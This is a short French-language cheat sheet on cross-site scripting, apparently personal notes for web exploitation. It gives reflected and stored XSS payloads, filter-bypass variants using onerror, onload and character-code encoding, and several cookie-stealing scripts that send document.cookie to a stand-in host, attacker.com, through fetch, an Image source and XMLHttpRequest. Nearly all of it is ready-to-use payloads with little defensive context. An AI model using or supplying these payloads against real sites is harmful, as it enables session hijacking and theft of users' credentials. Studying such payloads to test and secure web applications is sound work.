Cross-Site Scripting (XSS)

2026-03-13#xss#web#javascript#exploitation

Objets JS utiles

ObjetDescription
document.cookieCookies de session
localStorageStockage local persistant
sessionStorageStockage local de session
XMLHttpRequestRequêtes HTTP depuis le navigateur

Reflected XSS

L'input est reflété immédiatement dans la réponse sans être stocké.

<!-- Via URL --> https://example.com/home?search=<script>alert('XSS')</script> <!-- Payloads de base --> <script>alert(1)</script> <h1 style="color:green;">TEST</h1> <!-- Vol de cookie --> <script>fetch('https://attacker.com/?c='+document.cookie)</script>

Stored XSS

L'input est stocké en base et exécuté à chaque visite de la page.

POST /index.php HTTP/1.1 Host: example.com Cookie: PHPSESSID=jl5kamgcplionfan0kkjhcujh3 Content-Type: application/x-www-form-urlencoded message=<script>alert(document.cookie)</script>

Contournement de filtres

<!-- Sans balise script --> <img src=x onerror="alert(1)"> <svg onload="alert(1)"> <body onload="alert(1)"> <!-- Encodage --> <script>alert(String.fromCharCode(88,83,83))</script>

Exfiltration de données

// Vol de cookie vers un serveur distant <script> new Image().src = 'https://attacker.com/?c=' + document.cookie; </script> // Via XMLHttpRequest <script> var x = new XMLHttpRequest(); x.open('GET', 'https://attacker.com/?c=' + document.cookie); x.send(); </script>